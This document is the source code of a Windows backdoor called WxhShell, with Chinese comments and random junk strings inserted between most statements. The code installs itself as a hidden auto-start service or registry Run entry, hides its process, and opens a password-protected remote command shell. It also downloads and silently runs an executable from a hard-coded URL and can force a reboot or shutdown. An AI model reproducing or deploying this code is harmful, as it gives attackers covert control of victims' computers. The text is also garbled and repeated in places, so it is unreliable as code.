".6=E#W HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); { ux'9SA if(NULL == hInst ) return 0; v)zxQuH]^ \/Zo*/ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ="g9> g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); KC<K*UHPAH NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 2 XjH1 8)f/H&)>8 if (!NtQueryInformationProcess) return 0; R&/"?&pfa skt9mU hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); e&<=+\ul if(!hProcess) return 0; v+d`J55 1:I _;O_ if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; b^P\Kky gb^'u CloseHandle(hProcess); `7V'A ^NxKA'oWQ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); fzjtaH? if(hProcess==NULL) return 0; 7u%OYt
D E l>7?B2^<E HMODULE hMod; P$/Y9o
char procName[255]; f_. 0 uM unsigned long cbNeeded; d&DQ8Gm ^ |L
< if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); /XuOv(j |A)a
='Ap CloseHandle(hProcess); ~\O,#j`_ HNX/#?3 if(strstr(procName,"services")) return 1; // 以服务启动
[hiV# - l0X]&Ex return 0; // 注册表启动 lp1GK/!s } wr6(C: #<w2xR]: // 主模块 dhr-tw int StartWxhshell(LPSTR lpCmdLine) 7 z+Ngt' ! { 4_ZH Y?VRd SOCKET wsl; T'14OU2N{Y BOOL val=TRUE; (6)X Fp& int port=0; o<Rrr, struct sockaddr_in door; XE:bYzH j|r$!gV if(wscfg.ws_autoins) Install(); '81WogH: _E^ !,Wz port=atoi(lpCmdLine); *Y ?&N2@c x{VUl if(port<=0) port=wscfg.ws_port; 2cv=7!K4Uv uX&Tn1Kg WSADATA data; %/K;!'7 if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Mbxrj~ue TzV~I\a| if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; iB{l: setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Q2t>E(S door.sin_family = AF_INET; s#(<zBZ9p# door.sin_addr.s_addr = inet_addr("127.0.0.1"); 69``j{Z+ door.sin_port = htons(port); JZ"XrS0? 4m_CPe if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { DV~g closesocket(wsl); idZ]d6 return 1; 3TT?GgQ } fjy2\J! \'P79=AU if(listen(wsl,2) == INVALID_SOCKET) {
hh^_Z| 5 closesocket(wsl); l`E KL2n return 1; n!?u/[@ } aN"dk-eK Wxhshell(wsl); xcXnd"YYE WSACleanup(); 9P-I)ZqL kO8oH8Vt return 0; %uy?@ e fSm|anuKZe } X0]5I0YP '# J/e0o@ // 以NT服务方式启动 yxy~N\0 VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) .$r7q[ { {&)E$M DWORD status = 0; {9h`h08?z DWORD specificError = 0xfffffff; RV6|sN[x> @?[}\9dW serviceStatus.dwServiceType = SERVICE_WIN32; (!diPwcv serviceStatus.dwCurrentState = SERVICE_START_PENDING; D~f[ R g serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; -Rr Qv( serviceStatus.dwWin32ExitCode = 0; M_#^zo
"x serviceStatus.dwServiceSpecificExitCode = 0; S(5&%}QFQ serviceStatus.dwCheckPoint = 0; 5[rA>g~ serviceStatus.dwWaitHint = 0; qa/VSk!{ *> 7Zc hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); #}nDX4jI if (hServiceStatusHandle==0) return; @D=i|f Ug^vVc) status = GetLastError(); bqm%@*fZo if (status!=NO_ERROR) J]$]zD { +bcJm serviceStatus.dwCurrentState = SERVICE_STOPPED; ^$J.l+<hy serviceStatus.dwCheckPoint = 0; Ku] <$uo serviceStatus.dwWaitHint = 0; 95BRZ!ts serviceStatus.dwWin32ExitCode = status; xayd_RB 9 serviceStatus.dwServiceSpecificExitCode = specificError; :@sjOY SetServiceStatus(hServiceStatusHandle, &serviceStatus); a^Lo;kHY return; [7=?I.\Cr7 } rPoq~p[Y tD3v`Ke serviceStatus.dwCurrentState = SERVICE_RUNNING; [O^mG
9 serviceStatus.dwCheckPoint = 0; <FU1| serviceStatus.dwWaitHint = 0; =_9grF- if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 4*_. m9{ } $or8z2d1 9{n?Jy // 处理NT服务事件,比如:启动、停止 |Ht~o(]&&/ VOID WINAPI NTServiceHandler(DWORD fdwControl) l=ZX9<3 { JReJlDu switch(fdwControl) FKkL%:? { `:;fc case SERVICE_CONTROL_STOP: vI+X9C? serviceStatus.dwWin32ExitCode = 0; '&Tq/;Ml serviceStatus.dwCurrentState = SERVICE_STOPPED; CJ[^Fi?CH serviceStatus.dwCheckPoint = 0; sWX\/Iyy2p serviceStatus.dwWaitHint = 0; pwr]lV$w { 5s=L5]]r_j SetServiceStatus(hServiceStatusHandle, &serviceStatus); $|!@$A j } 9i/VvW return; _J33u3v case SERVICE_CONTROL_PAUSE: ?M@ff0 serviceStatus.dwCurrentState = SERVICE_PAUSED; @N+6qO} break; XiN@$ case SERVICE_CONTROL_CONTINUE: _6{XqvWqb serviceStatus.dwCurrentState = SERVICE_RUNNING; x_BnWFP break; J+0T8
?A case SERVICE_CONTROL_INTERROGATE: $ 2PpG|q break; !6DH6<HC }; !ZTBiC5R SetServiceStatus(hServiceStatusHandle, &serviceStatus); )w&k&TY4H } R{SN.% {; K._*
~-A // 标准应用程序主函数 "}jv5j5 int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) lc\f6J>HT { nM6/c ;\)N7SJ // 获取操作系统版本 !d3:`l< OsIsNt=GetOsVer(); p+O,C{^f GetModuleFileName(NULL,ExeFile,MAX_PATH); #tQ__V `{W>Dy // 从命令行安装 R}Z2rbt if(strpbrk(lpCmdLine,"iI")) Install(); |;(0] 6`sS8Ar&u // 下载执行文件 |GnqfD if(wscfg.ws_downexe) { >p@v'h/Cr if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) \} +b_J6- WinExec(wscfg.ws_filenam,SW_HIDE); zkmfu~_) } c:sk1I,d~^ t{Xf3. if(!OsIsNt) { g~Agy // 如果时win9x,隐藏进程并且设置为注册表启动 ,)7y?*D} HideProc(); a) 5;Od StartWxhshell(lpCmdLine); P`!31P#]L } kC4}@{4i else m #}%l3$ if(StartFromService()) (SGU]@)g // 以服务方式启动 s2Hx?~ StartServiceCtrlDispatcher(DispatchTable); 6F4OISy%3 else VLs%;|`5D // 普通方式启动 [nG@
3n StartWxhshell(lpCmdLine); oV Hh \?rBtD( return 0; &WAJ;7f } 'r_NA!R ]9/{ }KCb5_MDF M~t;&po =========================================== 5>*~1}0T |}^BF%8V: 8^|lsB}x? OXCf _vgFcE~E@ %q)*8 " g6Nw].{ a2\r^fY/ #include <stdio.h> :bV1M5 #include <string.h> DQRr(r~2Kj #include <windows.h> yi$ Jk}w #include <winsock2.h> ohj(1jt #include <winsvc.h> 9$oU6#U,h #include <urlmon.h> 1feS/l$ I-?Dil3 #pragma comment (lib, "Ws2_32.lib") Jt}0%C3d #pragma comment (lib, "urlmon.lib") &S|%>C{P.w hAv.rjhw_ #define MAX_USER 100 // 最大客户端连接数 _k2*2db #define BUF_SOCK 200 // sock buffer tWN hFQ' #define KEY_BUFF 255 // 输入 buffer $wx)/t< /WWD;keP5 #define REBOOT 0 // 重启 :Mq-4U.e #define SHUTDOWN 1 // 关机 v<c@bDZ> d0MF\yxh #define DEF_PORT 5000 // 监听端口 kz+OUA@~ ;&v~tD7 #define REG_LEN 16 // 注册表键长度 7G<v<& #define SVC_LEN 80 // NT服务名长度 [>N`)]fP i`)h~V|G // 从dll定义API g8^YDrH typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); qS{E+) P typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); s#*T(pY typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 2AK]x`GY typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Gcz@z1a=n 4OOH
3O // wxhshell配置信息 pk,]yi,ZF struct WSCFG { ,]UCq?YW)T int ws_port; // 监听端口 3Sb'){.MT+ char ws_passstr[REG_LEN]; // 口令 ,
e6}p int ws_autoins; // 安装标记, 1=yes 0=no //_aIp char ws_regname[REG_LEN]; // 注册表键名 h<8.0 char ws_svcname[REG_LEN]; // 服务名 ?rG>SA>o char ws_svcdisp[SVC_LEN]; // 服务显示名 mqFo`Ee char ws_svcdesc[SVC_LEN]; // 服务描述信息 c
Oi:bC@ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ?6=u[))M& int ws_downexe; // 下载执行标记, 1=yes 0=no rbw5.NU char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" vOl<
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ~p0M| bm:"&U*tu' }; jx7b$x] 4Y#F"+m.] // default Wxhshell configuration '**dD2
n struct WSCFG wscfg={DEF_PORT, 50l!f7 "xuhuanlingzhe", ,-GkP>8f( 1, Ja@zeD)f" "Wxhshell", wQV[ZfU^h "Wxhshell", eumpNF%$ "WxhShell Service", ySEhi_)9^ "Wrsky Windows CmdShell Service", Xi~%,~ "Please Input Your Password: ",
2l#c?]TA 1, vL,:Yn@b "http://www.wrsky.com/wxhshell.exe", &+v!mw > "Wxhshell.exe" Xbp~cn }; v3`k?jAaI ZFNn(n // 消息定义模块 ~Os1ir. char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; SL O~ char *msg_ws_prompt="\n\r? for help\n\r#>"; I}S~,4 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 9AgTrP char *msg_ws_ext="\n\rExit."; X>W2aDuEZ char *msg_ws_end="\n\rQuit."; h/a|-V}m& char *msg_ws_boot="\n\rReboot..."; /P>t3E2c char *msg_ws_poff="\n\rShutdown..."; ZgP~VB0)$ char *msg_ws_down="\n\rSave to "; 1'G&PX X?8 EPCk char *msg_ws_err="\n\rErr!"; qij<XNZU"& char *msg_ws_ok="\n\rOK!"; I\DH XFiP8aX< char ExeFile[MAX_PATH]; &=-ZNWNo int nUser = 0; ev}ugRxt|k HANDLE handles[MAX_USER]; &eqeQD6 int OsIsNt; *49lM; [$<\*d/ SERVICE_STATUS serviceStatus; ..5rW0lr SERVICE_STATUS_HANDLE hServiceStatusHandle; X'
,0vK e2X\ll // 函数声明 CC8)yO int Install(void); g]V_)} int Uninstall(void); LW$(;-rY int DownloadFile(char *sURL, SOCKET wsh); T|o ]8z int Boot(int flag); ;;#_[Zl void HideProc(void); `pfZJ+ int GetOsVer(void); R;]z/|8 int Wxhshell(SOCKET wsl); mz'r<v2Tc void TalkWithClient(void *cs); BM,]Wjfdj int CmdShell(SOCKET sock); Ac2,A> int StartFromService(void); \pVmSac, int StartWxhshell(LPSTR lpCmdLine); z{N~AaY -szSA VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); m/T3Um VOID WINAPI NTServiceHandler( DWORD fdwControl ); P~H?[
; lI<Q=gd // 数据结构和表定义 nbMxQODk SERVICE_TABLE_ENTRY DispatchTable[] = 3;hztCZj { hN5?u: {wscfg.ws_svcname, NTServiceMain}, m 3Y@p$i5 {NULL, NULL} ~mR@L `"l }; t6+c"=P# ]"2;x // 自我安装 C2[* $ 1U int Install(void) XDt MFig { 1[g -f, char svExeFile[MAX_PATH]; @ gv^ HKEY key; WE*L=_zDS strcpy(svExeFile,ExeFile); YXi'^GU@ UBm L:Qv // 如果是win9x系统,修改注册表设为自启动 +'ZJ] if(!OsIsNt) { !'jZ
!NFO if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Xj Rk1~ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `Q@w*ta) RegCloseKey(key); p";5J+?( if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4*D'zJsJ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); r+D ?_Lk RegCloseKey(key); <Pm!#)-g9 return 0; b:M1P&R } 5p}ri,Y< } 0{q>'dv } ,dR<O.{0 else { NR6wNz&81 +&*D7A>~p // 如果是NT以上系统,安装为系统服务 ILU7Yhk SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); S <RbC if (schSCManager!=0) n?[JPG2X { Mxmo}tt SC_HANDLE schService = CreateService ev'` K=n8 ( V 4` schSCManager, 5{"v/nXV wscfg.ws_svcname, XYh)59oM% wscfg.ws_svcdisp, x* 9 Xu"? SERVICE_ALL_ACCESS, J\@W+/#dF SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ^vHh*Ub SERVICE_AUTO_START, MP3Vo|}3 SERVICE_ERROR_NORMAL, i!a.6Gq svExeFile, )/y7Fh NULL, $0mR_pA\fW NULL, .DX-biX, NULL, x@)G@'vV| NULL, F{*h~7D-| NULL s;ivoGe} ); sy]hMGH:3W if (schService!=0) x_+-TC4IXn { Ov-Y.+L: CloseServiceHandle(schService); Hh1]\4D,4 CloseServiceHandle(schSCManager); ixY[ HDPq strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); /=(PMoZu strcat(svExeFile,wscfg.ws_svcname); TlEd#XQgf& if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ^cnTZzT#Q RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); s 0To^I RegCloseKey(key); _t/~C*=:= return 0; BI| TM2oa } z%Eok } CK"OHjR CloseServiceHandle(schSCManager); tgVMgu } 7@1GSO: Yf } ]i:_^z)R [2P6XoI# return 1; Q;xJ/4 Z" } H,3WdSL`K K0usBA // 自我卸载 )4e8LO int Uninstall(void) x>bGxDtu* { {6tj$&\) HKEY key; WbWEgd%8. }WV}in0 if(!OsIsNt) { ^7SE2Zi if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { T!ww3d RegDeleteValue(key,wscfg.ws_regname); (U B?UJc RegCloseKey(key); }|OwUdE!R9 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { S0'
ACt` RegDeleteValue(key,wscfg.ws_regname); S
aH':UN RegCloseKey(key); Q3I^(Ll"L return 0; 2;w`W58
} `x]`<kS; } *6bO2LO" } /os,s[w else { }3}H} aJ"m`5]=% SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); |[Rlg`TQ;* if (schSCManager!=0) SaIY-PC { sR4B/1'E SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); o* ~aB_ if (schService!=0) f}t8V% ^E { <2SWfH1> if(DeleteService(schService)!=0) { 7tP%tp
ez CloseServiceHandle(schService); lv>^P>S(O CloseServiceHandle(schSCManager); bn%4s[CVb4 return 0; +P=IkbxAO } i*((@: CloseServiceHandle(schService); #M)+sK$H%f } ]5r@`%9 CloseServiceHandle(schSCManager); }0IeKpu5 } B#G:aBCM } mt]^d;E |[)n.N65= return 1; #:NY9.\o } EeR} 34 c;Gf$9?iC // 从指定url下载文件 \iP5.3C int DownloadFile(char *sURL, SOCKET wsh) ph$vP;} { bO` SBq$ HRESULT hr; @h9QfJ_f char seps[]= "/"; DF>3)oTF char *token; L|L;< char *file; Sh2BU3 char myURL[MAX_PATH]; akFT 0@9 char myFILE[MAX_PATH]; 7^7Jh&b)/ s o1hC strcpy(myURL,sURL); hv`I`[/J token=strtok(myURL,seps); 63i&< while(token!=NULL) 3$_JNF` { p ,.6sk file=token; aJQzM token=strtok(NULL,seps); fC".K
Yjp } !nsx!M %:v<&^oDlm GetCurrentDirectory(MAX_PATH,myFILE); ?>Ngsp>-P strcat(myFILE, "\\"); k<|}&<h strcat(myFILE, file); 9:*[Q"v send(wsh,myFILE,strlen(myFILE),0); 6>]w1
H send(wsh,"...",3,0); ;0U*N &
f hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); HbRvU}C1 if(hr==S_OK) iB|htH'T return 0; nV`U{}x else DL<;qhte return 1; ,{; *b
v guG&3{&\s } THlQifA! =I aWf // 系统电源模块 c5_/i7 int Boot(int flag) iu?gZVyka { {_mVfFG HANDLE hToken; sh R| TOKEN_PRIVILEGES tkp; UwxszEHC }<YU4EW if(OsIsNt) { /,_m\JkwL OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); %Zp|1J'" LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); \Si p tkp.PrivilegeCount = 1; ?qb35 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; inFS99DKx AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); l/,la]!T if(flag==REBOOT) { `^] D;RfE if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) @C<ofg3E return 0; &)jq3 } \1SC:gN*# else { i),bAU!+m if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 'J$@~P return 0; 4l7
Ny\J } zn>+\ } wBvVY3VQ^
else { ZS%W/.? if(flag==REBOOT) { ;{aGEOP'U if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) `U=Jbdc l3 return 0; Af\ } Vm[F~2+HX else { *NG\3%}%|@ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) b50mMWtG return 0; 2e-`V5{)b } x0b=r!Duu } v$D U
q+ x5CMP%}d return 1; ?%[~J } r
^\(M
{ peF)U
!`D // win9x进程隐藏模块 1yZA_x15: void HideProc(void) L$i:~6 { uIbAlE ZSs@9ej HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); $C sE[+k1 if ( hKernel != NULL ) $4^SWT. { 9|lLce$ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); WrSc@j&Ycv ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); KzP{bK5/ FreeLibrary(hKernel); -|Zzs4bx } T@=C2
1 .9J}Z^FD return; Q`W2\Kod] } P6O\\,B1A $~iZ aX8& // 获取操作系统版本 zPc"r$'0U int GetOsVer(void) x+j@YWDpG" { P%)r4+at OSVERSIONINFO winfo; 6Iqy"MQuq winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); pr,,E[ GetVersionEx(&winfo); )AxD|A if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ^Fh*9[Zf$ return 1; FuBt`H else v7SYWO# return 0; 1*yxSU@uY } @,n)1*{P &
Wod // 客户端句柄模块 *g,ls(r\[ int Wxhshell(SOCKET wsl) +8C}%6aX { 1C8xJ 6F SOCKET wsh; n."n?C'{ struct sockaddr_in client; v\5O\ I ^ DWORD myID; W} i6{Vh w;gk=<_ while(nUser<MAX_USER) tc0;Ake-& { q~b# ml2QS int nSize=sizeof(client); ":8\2Qp wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ]c~yMA+]FZ if(wsh==INVALID_SOCKET) return 1; Uffwzd! #|ts1lD#ah handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ",.f
if(handles[nUser]==0) D>[Sib/@ closesocket(wsh); ^hiY6N & else K<wFr-z
nUser++; |~e"i<G# } 4hy-M>!D| WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ;_vhKU)%J# %+=;4tHJ return 0; -R]0cefC<f } Bd <0} P*A+k"DU1 // 关闭 socket Yu\$Y0 {] void CloseIt(SOCKET wsh) fJ[ ^_,O { m~5 unB9 closesocket(wsh); Cd_@< nUser--; Ai1"UYk\\Y ExitThread(0); J<;io! } tg@61V?> >jsY'Bm // 客户端请求句柄 U?sHh2* void TalkWithClient(void *cs) -n&&d8G^s { :31_WJ^ ()IZ7#kL? SOCKET wsh=(SOCKET)cs; e{@RBYX@+c char pwd[SVC_LEN]; J`U]Ux/L char cmd[KEY_BUFF]; !:!(=(4$P char chr[1]; pE&G]ZC int i,j; 7h}gIm7e" >)u;X while (nUser < MAX_USER) { D{6y^@/ `P;r[j" if(wscfg.ws_passstr) { }bv+^# if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Qdq;C,}Ai. //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !iKW1ks //ZeroMemory(pwd,KEY_BUFF); ID2->J i=0; (vO3vCYeQ while(i<SVC_LEN) { ]]PNYa %-blx)Pc // 设置超时 N:)x67, fd_set FdRead; EL$DvJ~ struct timeval TimeOut; Gu*y7I8 FD_ZERO(&FdRead); 2L~Vr4eHG FD_SET(wsh,&FdRead); {6v.(Zlh$ TimeOut.tv_sec=8; TQT3]h6 TimeOut.tv_usec=0; e'.BTt58Y int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); -/pz3n if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); pPBXUu' |CDM(g>% if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /AD&z?My+E pwd=chr[0]; j~k,d.17M if(chr[0]==0xd || chr[0]==0xa) { ?Ts]zO%%Z pwd=0; |O_JUl break; IQPu%n{0v } R^.PKT2E i++; &))d],tJX } YCD|lL# %]_: \! // 如果是非法用户,关闭 socket t2o{=!$WH if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Oj c Tu } + +}!Gfc?s $Y|OGZH8E send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); y''~j<' send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); tTy !o= w0_P9g: while(1) { V1]GOmXz r >'tE7W9 ZeroMemory(cmd,KEY_BUFF); Zo<)r2|O. <a"(B*bBd // 自动支持客户端 telnet标准 U3{<+vSR` j=0; Z<i}XCE while(j<KEY_BUFF) { v0\l~_|H if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); l<+[l$0# cmd[j]=chr[0]; ]eKuR"ob0 if(chr[0]==0xa || chr[0]==0xd) { qSvV|G cmd[j]=0; :hZM$4 break; ]o<]A[< } ipwlP|UjQ5 j++; z$?F^3> } ['IH*gi h ik.qK // 下载文件 ?XHQdN3e if(strstr(cmd,"http://")) { =~+ WJN send(wsh,msg_ws_down,strlen(msg_ws_down),0); =xo0T 6 if(DownloadFile(cmd,wsh)) o pTXI*QA send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^v;)6a2 else Y)1/fEM send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |SkQe[t } fkZHy|m else { I_r@Y:5{ Me.I>7c switch(cmd[0]) { s(=wG| k_7m[o // 帮助 ;7P'>j1?U case '?': { )dkU4] send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 'dKfXYY1`N break; +l7)7qKx } l(Rn=? // 安装 uyWheR case 'i': { b(0<,r8 if(Install()) .$&^yp send(wsh,msg_ws_err,strlen(msg_ws_err),0); -!PJHCLd else j}^w:W76 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o]<Z3) break; ~!$"J}d}< } ,&_H
// 卸载 X<%D@$ case 'r': { Oh! {E5!) if(Uninstall()) (Mk7"FC7 send(wsh,msg_ws_err,strlen(msg_ws_err),0); gHe:o` else \V>5)Rn send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N{v)pu. break; 0nb%+],pX } TF8#I28AD // 显示 wxhshell 所在路径 ^p3GT6 case 'p': { "W7|Xp char svExeFile[MAX_PATH]; B->AY.&j strcpy(svExeFile,"\n\r"); 4C*ywP strcat(svExeFile,ExeFile); KnG7w^ send(wsh,svExeFile,strlen(svExeFile),0); } k2Q break; d6J/)nl } v6*0@/L
M // 重启 MNu0t\`p4 case 'b': { &*v\t\]
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); : "85w#r if(Boot(REBOOT)) s)E \ send(wsh,msg_ws_err,strlen(msg_ws_err),0); gA2Wo+\^bq else { JIyS e:p3 closesocket(wsh);
^ }7O|Y7 ExitThread(0); A8m06 } f!'i5I] break; fp [gKRSF } 4'O,xC // 关机 bT,_=7F case 'd': { ?\o~P send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Xq 135/d if(Boot(SHUTDOWN)) cwmS4^zt8 send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~XOmxz0 else { v #+ECx closesocket(wsh); tAv3+ ExitThread(0); I\mF dE } ,Wlt[T(.; break; /JR+WmO } 5NhFjPETr // 获取shell %66="1z0@ case 's': { t /+;#- CmdShell(wsh); cyl%p$ closesocket(wsh); ,';|CGI cP ExitThread(0); +bznKy! break; 1=)M15 } ZwUBeyxS=c // 退出 ? "I %K% case 'x': { tl0|.Q, send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ?AyxRbk CloseIt(wsh); d>p' A_ break; `s7pM } r07u6OA // 离开 DB|1Sqjsn case 'q': { ^ptybVo send(wsh,msg_ws_end,strlen(msg_ws_end),0); JN
wI{ closesocket(wsh); PeJ#9hI~rQ WSACleanup(); njs: exit(1); dxX`\{E break; wK(]E%\ }
V9) / } =z'(FP5!0 } z.8/[) TE
Z%|5(] // 提示信息 F vkyp"W3 if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); S`kOtZ_N n } =|?`5!A } gzs\C{4D b?}mQ! return; 99=~vNn } NH/A`Wm Tx.N#,T| // shell模块句柄 }t^wa\ int CmdShell(SOCKET sock) Py; 5z { 6}6Q:V| STARTUPINFO si; *)E${\1' < ZeroMemory(&si,sizeof(si)); d"FB+$ si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 'ZF6 Z9 si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; LzU'6ah';5 PROCESS_INFORMATION ProcessInfo; E
f\|3D_ char cmdline[]="cmd"; d0>U-. CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); c e;7 return 0; HP8J\` } R%jOgZG [D~] // 自身启动模式 nCq'=L,m int StartFromService(void) 30sJ"hF9 { -qP)L;n typedef struct <e UsMo< { MH.+pqIv^ DWORD ExitStatus; 6m_mma_,& DWORD PebBaseAddress; aF
2vgE\ DWORD AffinityMask; lx+;<la DWORD BasePriority; H,%bKl# ULONG UniqueProcessId; ;oOTL'Vu ULONG InheritedFromUniqueProcessId; 4t[7lL`Z } PROCESS_BASIC_INFORMATION; U6&`s%mIa E+ /Nicn= PROCNTQSIP NtQueryInformationProcess; tc'iKJ5) :H&Q!\a static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; h?xgOb!4 static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; p7|I>8ur. d'';0[W) HANDLE hProcess; }k }=e PROCESS_BASIC_INFORMATION pbi; nYx
/q @\g}I`_M HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); x {NBhq(4 if(NULL == hInst ) return 0; GJ%^hr`P 0Q{lyu g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); }h^
fX g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); in1rDN%Vi NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); (,I:m[0 ;U'\"N9 if (!NtQueryInformationProcess) return 0; 4!/QB6 76w[X=Fv hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); TDo)8+.2z if(!hProcess) return 0; )h]+cGM 7z;2J;u`n if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; k{+cFG\C& q9vND[BQ CloseHandle(hProcess); 4FaO+Eo,8 Z|_V ;*
